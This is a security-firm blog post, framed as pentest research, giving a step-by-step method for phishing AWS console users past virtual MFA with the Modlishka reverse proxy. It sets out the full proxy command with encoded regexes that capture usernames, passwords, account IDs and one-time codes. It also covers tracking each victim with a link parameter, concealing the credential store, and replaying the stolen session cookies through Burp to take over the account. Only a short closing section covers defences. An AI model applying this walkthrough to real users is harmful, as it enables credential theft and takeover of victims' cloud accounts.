Phishing and MFA

Social engineering is one of the most common ways that malicious attackers gain unauthorized access to their target’s environments. It exploits the weakest link at any company–the human element. Typically, phishing campaigns will fall apart if multi-factor authentication (MFA) is being utilized by their targets. However, as defenses become more sophisticated, so do attackers and their methodology, making MFA not nearly as effective. This blog will touch on the different open source options to assist in executing phishing engagements against targets and websites that utilize MFA. For this post, we’ll be targeting AWS IAM user logins, with (and without) MFA enabled to demonstrate the concept. Another reason we chose to use AWS as an example is because, to our knowledge, no research has previously been released about phishing AWS users, and Rhino’s team has been using this internally for a while now. Something to note is that this attack will only work against virtual MFA devices (Duo, Google Authenticator, etc.) and not hardware-based MFA devices (Yubikey). This is because hardware-based devices may implement additional checks to ensure that you are not on a phishing page when authenticating.

Tools for MFA Phishing

There are some great open source tools out there for executing MFA phishing campaigns, such as Evilginx2, Modlishka, Muraena, and CredSniper. Most of these tools act as proxies between the target client and the target service, which you run on your own server. When the target connects to your server, the tools will stand as a man-in-the-middle between the victim and the website you are trying to phish them with. This way, you as the attacker can provide the victim with valid, dynamic, legitimate-looking phishing pages, while intercepting any communications that go on (such as logging in). So far, none of these tools have an AWS template or anything specifically related to AWS, so we decided to use AWS as our proof-of-concept target website for this post. We chose to use Modlishka for this post because it was simple to set up and configure, and it does a great job at transparent proxying of multi-domain traffic.

Setup of Phishing Infrastructure

This section will cover the high-level process of setting up Modlishka to be used for phishing AWS MFA users.

Prerequisites

A domain for your landing page (e.g. “example.com”) from a provider that allows wildcard DNS entries A wildcard SSL certificate for that domain (e.g. “*.example.com”), which can be obtained using Let’s Encrypt A server to run the tool on (public facing, ports 80 and 443 open) Golang installed on the server For a short walkthrough of the DNS records to set for your domain and how to generate a wildcard SSL certificate, you can check out the Modlishka wiki on GitHub.

Modlishka Configuration

To download the Modlishka source, you can run the following command:

go get -u github.com/drk1wi/Modlishka

Prior to compiling Modlishka, we made a few changes to the source for more security and to make a few fixes. One of the changes we made was modifying the default URL for the “Modlishka Cookie Jar”. The cookie jar is where credentials and cookies are stored after a victim authenticates to our phishing page. Modlishka has a default path for the cookie jar set in /plugin/control.go, which is “/SayHello2Modlishka/”. To prevent nosy users or other attackers from discovering this, we modified this path to go to a long, obscured location, rather than a predictable one. The other changes we made–for our own internal needs–were modifying the database and web app to display the account ID and MFA code that was used on the control panel. The next step is to compile the binary with the instructions in the Modlishka GitHub repo (basically just run “make” in the source directory). Once the binary was compiled, we had to determine what the configuration would look like, so that it worked correctly when sending emails off to our victims. The command we used ended up looking like this, with the options described below:

./bin/proxy -cert `cat ./our-phishing-domain.com.cert.b64` \ -certKey `cat ./our-phishing-domain.com.privkey.b64` \ -trackingParam auth \ -proxyDomain our-phishing-domain.com \ -dynamicMode \ -target target-account-alias.signin.aws.amazon.com \ -listeningAddress 0.0.0.0 \ -credParams dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==,KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop \ -postOnly \ -log aws.log

The following is a list of the arguments we used, their purposes, and the reasons we used them: -cert `cat ./our-phishing-domain.com.cert.b64` The base64 encoded version of the SSL certificate to use. Ours is located at “./our-phishing-domain.com.cert.b64”, so we are passing in the contents of that file by using “cat”. Note that this must be a wildcard SSL certificate (*.our-phishing-domain.com). We used Let’s Encrypt to generate this certificate, so we ran this command to get the base64 encoded version: cat /etc/letsencrypt/live/our-phishing-domain.com/cert.pem | base64 –wrap=0 > ./our-phishing-domain.com.cert.b64

-certKey `cat ./our-phishing-domain.com.privkey.b64` The base64 encoded version of the SSL private key to use. Ours is located at “./our-phishing-domain.com.privkey.b64”, so we are passing in the contents of that file by using “cat”. We used Let’s Encrypt to generate this private key, so we ran this command to get the base64 encoded version: cat /etc/letsencrypt/live/our-phishing-domain.com/privkey.pem | base64 –wrap=0 > ./our-phishing-domain.com.privkey.b64

-trackingParam auth The name of the parameter used to track the client. It defaults to “id”, but we modified that to look for “auth” instead. This helps when trying to keep track of specific users that you are phishing. The link you send them could be something like “your-phishing-domain.com/?auth=hash(targetA)”, then you would know what user entered their credentials in. Each target user should get their own auth hash so that you can see who is who.

-proxyDomain our-phishing-domain.com The phishing domain we own that will be sent to our targets. This is where the proxy will be hosted. “Our-phishing-domain.com” is just an example; obviously, you will want to buy a better domain than that (and we don’t own this one).

-dynamicMode Dynamic mode is enabled for Client Domain Hooking functionality.

-target target-account-alias.signin.aws.amazon.com The target domain name to proxy. This is the website that we want to steal the target users credentials for. We used “console.aws.amazon.com”, which will automatically redirect to the login page (instead of the AWS homepage).

-listeningAddress 0.0.0.0 The address for the proxy server to listen on. The default is on localhost (127.0.0.1), but we want ours to be publicly accessible, so we set it to 0.0.0.0.

-credParams dXNlcm5hbWU9KFteXFddKykm,KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik=,KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ==, KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop The base64 encoded regex for the fields to pull from the authentication request. We want to pull the username, password, account ID/alias, and the MFA code from the target user’s authentication request, so that is what each of those base64 encoded values is specifying (formatted as “Parameter Name | Parameter Regex | Base64’d Parameter Regex”). Username | dXNlcm5hbWU9KFteXFddKykm | username=([^\W]+)& Password | KD86XnxbPyZdKXBhc3N3b3JkPShbXiZdKik= | (?:^|[?&])password=([^&]*) Account ID/Alias | KD86XnxbPyZdKWFjY291bnQ9KFteJl0qKQ== | (?:^|[?&])account=([^&]*) MFA OTP | KD86XnxbPyZdKW1mYV9vdHBfMT0oW14mXSop | (?:^|[?&])mfa_otp_1=([^&]*)

-postOnly Instructs Modlishka to only log HTTP POST requests (and not GET requests).

-log aws.log The local file to store the Modlishka logs in. There is where we will parse the cookies from.

When we ran the command, we visited our phishing domain (our-phishing-domain.com) to see if everything worked out correctly. If everything did work correctly, we would see a copy of the AWS website, like the following screenshot:

Walkthrough and Execution

The type of payload you use and how you deliver that to your target is out of the scope of this blog post. However, there are many options out there that can be found by reviewing the legitimate emails that AWS sends out or coming up with your own. We’ll skip ahead to the point where a target user opens up their email and clicks on our malicious phishing link. When they click the link, they’ll be taken to the login page we saw above, which is a replica of the AWS page. Modlishka will assign each target their own unique ID for tracking their session, credentials, and cookies as they move throughout the login process. Because Modlishka is just proxying the AWS web page to our target user, it will be able to phish them, regardless of whether or not they have MFA enabled. This means that we don’t need to enumerate who is using MFA beforehand (although it is possible to do that). It also could work for root users, but some minor modifications would need to be made to the setup to handle them. Once the user is prompted for their MFA code and enters it, Modlishka will interject. It will create a valid login session with the AWS web console, store the details, then send the target user off to the actual AWS website and away from our phishing page. The user’s credentials and cookies will be stored in the cookie jar that we discussed earlier, which in our case is stored at a random path of our phishing site. This can be seen in the following screenshot:

Riding on their Web Console Session

Now that our target entered their credentials, it is time to “ride” on their session to be able to use the web console as their user. Modlishka offers an “Impersonate User” button on the control panel, but after all of our testing, we were not able to get it to work for AWS. This meant that we needed to copy the cookies from the control panel and manually enter them into the browser, but that wasn’t a very achievable path either. Instead, we wrote a script to parse the Modlishka log file and output the cookies into the format of HTTP response headers (“Set-Cookie”). Then, we would paste them into a Burp Suite HTTP response to save them locally. This allowed for a quick method of inserting the cookies into our browser, without having to manually configure a bunch of things. The script, which can be found on our GitHub, accepts two arguments. The first argument is the path to your Modlishka log file and the second is the phishing domain you are using. Execute it like this:

python3 parse_modlishka_aws_cookies.py [path to log file] [phishing domain]

For our specific scenario, the command would look like this:

python3 parse_modlishka_aws_cookies.py ./aws.log our-phishing-domain.com

Sample output from the script can be seen below, with some of the information cropped and censored out. Note that not all of these cookies may be required, but this uses all of the cookies that were meant to be used on the actual AWS web console.

Setting the Cookies with Burp Suite Now you can copy all of the “Set-Cookie” headers that were output from the script. The next step is to launch Burp Suite and a web browser configured with it. More detailed information can be found on PortSwigger’s website on how to set this up. The only changes to the Burp proxy settings we will want to make are to ensure that HTTP requests are not intercepted and that HTTP responses are intercepted. Then, we’ll turn on the proxy and visit “https://console.aws.amazon.com”. Burp should immediately intercept that HTTP response, so now you need to paste all of your “Set-Cookie” headers into each HTTP response’s headers. Be careful to only paste your cookies below any other “Set-Cookie” headers in the responses so that your values will override any that they are trying to set in the real response. Do this to each HTTP response and then forward it on until you come to a response that has a status code of “302 Found” and is using the “Location” header to forward you to a URL like this: https://console.aws.amazon.com/console/home?state=hashArgs%23&isauthcode=true&code=REALLY-LONG-AUTH-CODE The “REALLY-LONG-AUTH-CODE” was around 1900 characters long in our testing. Once you see this response, you can turn off the Burp proxy. Then, you will be forwarded to the AWS web console homepage logged in as the user who was originally phished.

Now you can browse the AWS web console as that user and any actions you perform will be performed by the phished user. Your session will be counted as an MFA authenticated session, so any permissions that require MFA will be available to you as well.

Mitigation and Prevention

Although there are some partial mitigations that AWS could execute on their side (like Google has done), it is best to implement your own defenses in the meantime. This means that hardware MFA devices (like Yubikeys) should be used for all root users and all important IAM users who log in to the web console, because this phishing technique will not work on users with those devices correctly configured. If the architecture of your IAM resources and their configuration allows, you can go even further and use hardware MFA devices over virtual MFA devices on all of your users so that there is no risk of compromise through this method. It could also prove useful to monitor login attempts to AWS for IP addresses that are outside of your organization’s scope. That way, you could detect when a malicious user logs into your account. Additionally, it is recommended that companies perform regular phishing training on their own employees so that they can become aware of this attack vector and hopefully not fall victim to it in the future. Beyond that, we recommend getting a pentest against your AWS environments to identify and remediate any misconfigurations in the environment to minimize the blast radius in the event of a compromise. Privilege escalation is particularly relevant here because you may think that the risk of compromise is lower when a certain user has a low amount of privileges, but if an attacker can escalate their privileges from that user, it could be detrimental. Rhino Security Labs offers a robust AWS pentesting program and we can be contacted through our “Request a Quote” form.

Conclusion